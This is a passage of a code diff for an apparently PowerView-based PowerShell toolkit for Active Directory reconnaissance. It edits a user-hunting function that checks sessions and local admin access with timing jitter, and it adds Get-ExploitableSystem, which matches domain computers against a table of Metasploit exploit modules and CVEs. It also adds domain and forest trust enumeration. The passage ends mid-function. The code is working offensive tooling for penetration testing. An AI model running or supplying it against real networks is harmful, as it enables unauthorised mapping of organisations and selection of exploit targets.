'SessionFromName' $CNameDNSName - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $CName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin - } - else { - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - } - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser - } - } - } - } - if(!$Stealth) { - # if we're not 'stealthy', enumerate loggedon users as well - $LoggedOn = Get-NetLoggedon -ComputerName $ComputerName - ForEach ($User in $LoggedOn) { - $UserName = $User.wkui1_username - # TODO: translate domain to authoratative name - # then match domain name ? - $UserDomain = $User.wkui1_logon_domain - - # make sure wet have a result - if (($UserName) -and ($UserName.trim() -ne '')) { - - $TargetUsers | Where-Object {$UserName -like $_.MemberName} | ForEach-Object { - - $Proceed = $True - if($DomainShortName) { - if ($DomainShortName.ToLower() -ne $UserDomain.ToLower()) { - $Proceed = $True - } - else { - $Proceed = $False - } - } - if($Proceed) { - $IPAddress = @(Get-IPAddress -ComputerName $ComputerName)[0].IPAddress - $FoundUser = New-Object PSObject - $FoundUser | Add-Member Noteproperty 'UserDomain' $UserDomain - $FoundUser | Add-Member Noteproperty 'UserName' $UserName - $FoundUser | Add-Member Noteproperty 'ComputerName' $ComputerName - $FoundUser | Add-Member Noteproperty 'IPAddress' $IPAddress - $FoundUser | Add-Member Noteproperty 'SessionFrom' $Null - $FoundUser | Add-Member Noteproperty 'SessionFromName' $Null - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess) { - $Admin = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Admin - } - else { - $FoundUser | Add-Member Noteproperty 'LocalAdmin' $Null - } - $FoundUser.PSObject.TypeNames.Add('PowerView.UserSession') - $FoundUser - } - } - } - } + # check if the current user has local admin access to this server + $Access = Invoke-CheckLocalAdminAccess -ComputerName $ComputerName + if ($Access) { + $ComputerName } } } @@ -5641,10 +11730,6 @@ function Invoke-UserHunter { # if we're using threading, kick off the script block with Invoke-ThreadedFunction $ScriptParams = @{ 'Ping' = $(-not $NoPing) - 'TargetUsers' = $TargetUsers - 'CurrentUser' = $CurrentUser - 'Stealth' = $Stealth - 'DomainShortName' = $DomainShortName } # kick off the threaded script block + arguments @@ -5669,16 +11754,346 @@ function Invoke-UserHunter { Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" - $Result = Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $TargetUsers, $CurrentUser, $Stealth, $DomainShortName - $Result - - if($Result -and $StopOnSuccess) { - Write-Verbose "[*] Target user found, returning early" - return - } + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False } } + } +} + + +function Get-ExploitableSystem { +<# + .Synopsis + + This module will query Active Directory for the hostname, OS version, and service pack level + for each computer account. That information is then cross-referenced against a list of common + Metasploit exploits that can be used during penetration testing. + + .DESCRIPTION + + This module will query Active Directory for the hostname, OS version, and service pack level + for each computer account. That information is then cross-referenced against a list of common + Metasploit exploits that can be used during penetration testing. The script filters out disabled + domain computers and provides the computer's last logon time to help determine if it's been + decommissioned. Also, since the script uses data tables to output affected systems the results + can be easily piped to other commands such as test-connection or a Export-Csv. + + .PARAMETER ComputerName + + Return computers with a specific name, wildcards accepted. + + .PARAMETER SPN + + Return computers with a specific service principal name, wildcards accepted. + + .PARAMETER OperatingSystem + + Return computers with a specific operating system, wildcards accepted. + + .PARAMETER ServicePack + + Return computers with a specific service pack, wildcards accepted. + + .PARAMETER Filter + + A customized ldap filter string to use, e.g. "(description=*admin*)" + + .PARAMETER Ping + + Switch. Ping each host to ensure it's up before enumerating. + + .PARAMETER Domain + + The domain to query for computers, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER Unconstrained + + Switch. Return computer objects that have unconstrained delegation. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + The example below shows the standard command usage. Disabled system are excluded by default, but + the "LastLgon" column can be used to determine which systems are live. Usually, if a system hasn't + logged on for two or more weeks it's been decommissioned. + PS C:\> Get-ExploitableSystem -DomainController 192.168.1.1 -Credential demo.com\user | Format-Table -AutoSize + [*] Grabbing computer accounts from Active Directory... + [*] Loading exploit list for critical missing patches... + [*] Checking computers for vulnerable OS and SP levels... + [+] Found 5 potentially vulnerable systems! + ComputerName OperatingSystem ServicePack LastLogon MsfModule CVE + ------------ --------------- ----------- --------- --------- --- + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + ADS.demo.com Windows Server 2003 Service Pack 2 4/8/2015 5:46:52 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + LVA.demo.com Windows Server 2003 Service Pack 2 4/8/2015 1:44:46 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + assess-xppro.demo.com Windows XP Professional Service Pack 3 4/1/2014 11:11:54 AM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + HVA.demo.com Windows Server 2003 Service Pack 2 11/5/2013 9:16:31 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/dcerpc/ms07_029_msdns_zonename http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms08_067_netapi http://www.cvedetails.... + DB1.demo.com Windows Server 2003 Service Pack 2 3/22/2012 5:05:34 PM exploit/windows/smb/ms10_061_spoolss http://www.cvedetails.... + + .EXAMPLE + + PS C:\> Get-ExploitableSystem | Export-Csv c:\temp\output.csv -NoTypeInformation + + How to write the output to a csv file. + + .EXAMPLE + + PS C:\> Get-ExploitableSystem -Domain testlab.local -Ping + + Return a set of live hosts from the testlab.local domain + + .LINK + + http://www.netspi.com + https://github.com/nullbind/Powershellery/blob/master/Stable-ish/ADS/Get-ExploitableSystems.psm1 + + .NOTES + + Author: Scott Sutherland - 2015, NetSPI + Modifications to integrate into PowerView by @harmj0y + Version: Get-ExploitableSystem.psm1 v1.1 + Comments: The technique used to query LDAP was based on the "Get-AuditDSComputerAccount" + function found in Carols Perez's PoshSec-Mod project. The general idea is based off of + Will Schroeder's "Invoke-FindVulnSystems" function from the PowerView toolkit. +#> + [CmdletBinding()] + Param( + [Parameter(ValueFromPipeline=$True)] + [Alias('HostName')] + [String] + $ComputerName = '*', + + [String] + $SPN, + + [String] + $OperatingSystem = '*', + + [String] + $ServicePack = '*', + + [String] + $Filter, + + [Switch] + $Ping, + + [String] + $Domain, + + [String] + $DomainController, + + [String] + $ADSpath, + + [Switch] + $Unconstrained, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200, + + [Management.Automation.PSCredential] + $Credential + ) + + Write-Verbose "[*] Grabbing computer accounts from Active Directory..." + + # Create data table for hostnames, os, and service packs from LDAP + $TableAdsComputers = New-Object System.Data.DataTable + $Null = $TableAdsComputers.Columns.Add('Hostname') + $Null = $TableAdsComputers.Columns.Add('OperatingSystem') + $Null = $TableAdsComputers.Columns.Add('ServicePack') + $Null = $TableAdsComputers.Columns.Add('LastLogon') + + Get-NetComputer -FullData @PSBoundParameters | ForEach-Object { + + $CurrentHost = $_.dnshostname + $CurrentOs = $_.operatingsystem + $CurrentSp = $_.operatingsystemservicepack + $CurrentLast = $_.lastlogon + $CurrentUac = $_.useraccountcontrol + + $CurrentUacBin = [convert]::ToString($_.useraccountcontrol,2) + + # Check the 2nd to last value to determine if its disabled + $DisableOffset = $CurrentUacBin.Length - 2 + $CurrentDisabled = $CurrentUacBin.Substring($DisableOffset,1) + + # Add computer to list if it's enabled + if ($CurrentDisabled -eq 0) { + # Add domain computer to data table + $Null = $TableAdsComputers.Rows.Add($CurrentHost,$CurrentOS,$CurrentSP,$CurrentLast) + } + } + + # Status user + Write-Verbose "[*] Loading exploit list for critical missing patches..." + # ---------------------------------------------------------------- + # Setup data table for list of msf exploits + # ---------------------------------------------------------------- + + # Create data table for list of patches levels with a MSF exploit + $TableExploits = New-Object System.Data.DataTable + $Null = $TableExploits.Columns.Add('OperatingSystem') + $Null = $TableExploits.Columns.Add('ServicePack') + $Null = $TableExploits.Columns.Add('MsfModule') + $Null = $TableExploits.Columns.Add('CVE') + + # Add exploits to data table + $Null = $TableExploits.Rows.Add("Windows 7","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + + # Status user + Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..." + + # ---------------------------------------------------------------- + # Setup data table to store vulnerable systems + # ---------------------------------------------------------------- + + # Create data table to house vulnerable server list + $TableVulnComputers = New-Object System.Data.DataTable + $Null = $TableVulnComputers.Columns.Add('ComputerName') + $Null = $TableVulnComputers.Columns.Add('OperatingSystem') + $Null = $TableVulnComputers.Columns.Add('ServicePack') + $Null = $TableVulnComputers.Columns.Add('LastLogon') + $Null = $TableVulnComputers.Columns.Add('MsfModule') + $Null = $TableVulnComputers.Columns.Add('CVE') + + # Iterate through each exploit + $TableExploits | ForEach-Object { + + $ExploitOS = $_.OperatingSystem + $ExploitSP = $_.ServicePack + $ExploitMsf = $_.MsfModule + $ExploitCVE = $_.CVE + + # Iterate through each ADS computer + $TableAdsComputers | ForEach-Object { + + $AdsHostname = $_.Hostname + $AdsOS = $_.OperatingSystem + $AdsSP = $_.ServicePack + $AdsLast = $_.LastLogon + + # Add exploitable systems to vul computers data table + if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) { + # Add domain computer to data table + $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) + } + } + } + + # Display results + $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object + $VulnComputerCount = $VulnComputer.Count + + if ($VulnComputer.Count -gt 0) { + # Return vulnerable server list order with some hack date casting + Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" + $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending + } + else { + Write-Verbose "[-] No vulnerable systems were found." } } @@ -5898,7 +12313,7 @@ function Invoke-EnumerateLocalAdmin { } # query for the primary domain controller so we can extract the domain SID for filtering - $DomainSID = Get-DomainSID -Domain $Domain + $DomainSID = Get-DomainSID -Domain $Domain -DomainController $DomainController } # script block that enumerates a server @@ -6023,6 +12438,11 @@ function Get-NetDomainTrust { Domain controller to reflect LDAP queries through. + .PARAMETER ADSpath + + The LDAP source to search through, e.g. "LDAP://DC=testlab,DC=local". + Useful for global catalog queries ;) + .PARAMETER API Use an API call (DsEnumerateDomainTrusts) to enumerate the trusts. @@ -6071,12 +12491,15 @@ function Get-NetDomainTrust { [CmdletBinding()] param( - [Parameter(Position=0,ValueFromPipeline=$True)] + [Parameter(Position=0, ValueFromPipeline=$True)] [String] $Domain, [String] - $DomainController, + $DomainController, + + [String] + $ADSpath, [Switch] $API, @@ -6094,14 +12517,19 @@ function Get-NetDomainTrust { process { - if((-not $Domain) -or ((-not $API) -and (-not $DomainController))) { - $Domain = (Get-NetDomain -Credential $Credential).Name + if(-not $Domain) { + # if not domain is specified grab the current domain + $SourceDomain = (Get-NetDomain -Credential $Credential).Name + } + else { + $SourceDomain = $Domain } - if($LDAP) { + if($LDAP -or $ADSPath) { - $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -PageSize $PageSize - $SourceSID = Get-DomainSID -Domain $Domain -DomainController $DomainController + $TrustSearcher = Get-DomainSearcher -Domain $SourceDomain -DomainController $DomainController -Credential $Credential -PageSize $PageSize -ADSpath $ADSpath + + $SourceSID = Get-DomainSID -Domain $SourceDomain -DomainController $DomainController if($TrustSearcher) { @@ -6135,7 +12563,7 @@ function Get-NetDomainTrust { } $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) $TargetSID = (New-Object System.Security.Principal.SecurityIdentifier($Props.securityidentifier[0],0)).Value - $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain + $DomainTrust | Add-Member Noteproperty 'SourceName' $SourceDomain $DomainTrust | Add-Member Noteproperty 'SourceSID' $SourceSID $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] $DomainTrust | Add-Member Noteproperty 'TargetSID' $TargetSID @@ -6150,7 +12578,7 @@ function Get-NetDomainTrust { } elseif($API) { if(-not $DomainController) { - $DomainController = Get-NetDomainController -Credential $Credential -Domain $Domain | Select-Object -First 1 | Select-Object -ExpandProperty Name + $DomainController = Get-NetDomainController -Credential $Credential -Domain $SourceDomain | Select-Object -First 1 | Select-Object -ExpandProperty Name } if($DomainController) { @@ -6167,121 +12595,445 @@ function Get-NetDomainTrust { # Locate the offset of the initial intPtr $Offset = $PtrInfo.ToInt64() - Write-Debug "DsEnumerateDomainTrusts result for $DomainController : $Result" - # 0 = success if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $DS_DOMAIN_TRUSTS::GetSize() + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $DS_DOMAIN_TRUSTS::GetSize() + + # parse all the result structures + for ($i = 0; ($i -lt $DomainCount); $i++) { + # create a new int ptr at the given offset and cast the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $DS_DOMAIN_TRUSTS + + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + + $SidString = "" + $Result = $Advapi32::ConvertSidToStringSid($Info.DomainSid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error() + + if($Result -eq 0) { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $LastError).Message)" + } + else { + $DomainTrust = New-Object PSObject + $DomainTrust | Add-Member Noteproperty 'SourceDomain' $SourceDomain + $DomainTrust | Add-Member Noteproperty 'SourceDomainController' $DomainController + $DomainTrust | Add-Member Noteproperty 'NetbiosDomainName' $Info.NetbiosDomainName + $DomainTrust | Add-Member Noteproperty 'DnsDomainName' $Info.DnsDomainName + $DomainTrust | Add-Member Noteproperty 'Flags' $Info.Flags + $DomainTrust | Add-Member Noteproperty 'ParentIndex' $Info.ParentIndex + $DomainTrust | Add-Member Noteproperty 'TrustType' $Info.TrustType + $DomainTrust | Add-Member Noteproperty 'TrustAttributes' $Info.TrustAttributes + $DomainTrust | Add-Member Noteproperty 'DomainSid' $SidString + $DomainTrust | Add-Member Noteproperty 'DomainGuid' $Info.DomainGuid + $DomainTrust.PSObject.TypeNames.Add('PowerView.APIDomainTrust') + $DomainTrust + } + } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else { + Write-Verbose "Error: $(([ComponentModel.Win32Exception] $Result).Message)" + } + } + else { + Write-Error "Could not retrieve domain controller for $Domain" + } + } + else { + # if we're using direct domain connections through .NET + $FoundDomain = Get-NetDomain -Domain $Domain -Credential $Credential + if($FoundDomain) { + $FoundDomain.GetAllTrustRelationships() + } + } + } +} + + +function Get-NetForestTrust { +<# + .SYNOPSIS + + Return all trusts for the current forest. + + .PARAMETER Forest + + Return trusts for the specified forest. + + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + + .EXAMPLE + + PS C:\> Get-NetForestTrust + + Return current forest trusts. + + .EXAMPLE + + PS C:\> Get-NetForestTrust -Forest "test" + + Return trusts for the "test" forest. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Forest, + + [Management.Automation.PSCredential] + $Credential + ) + + process { + $FoundForest = Get-NetForest -Forest $Forest -Credential $Credential + + if($FoundForest) { + $FoundForest.GetAllTrustRelationships() + } + } +} + + +function Find-ForeignUser { +<# + .SYNOPSIS + + Enumerates users who are in groups outside of their + principal domain. The -Recurse option will try to map all + transitive domain trust relationships and enumerate all + users who are in groups outside of their principal domain. + + .PARAMETER UserName + + Username to filter results for, wildcards accepted. + + .PARAMETER Domain + + Domain to query for users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER Recurse + + Switch. Enumerate all user trust groups from all reachable domains recursively. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [Switch] + $Recurse, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-ForeignUser { + # helper used to enumerate users who are in groups outside of their principal domain + param( + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if ($Domain) { + # get the domain name into distinguished form + $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC=' + } + else { + $DistinguishedDomainName = [String] ([adsi]'').distinguishedname + $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' + } + + Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize -Filter '(memberof=*)' | ForEach-Object { + ForEach ($Membership in $_.memberof) { + $Index = $Membership.IndexOf("DC=") + 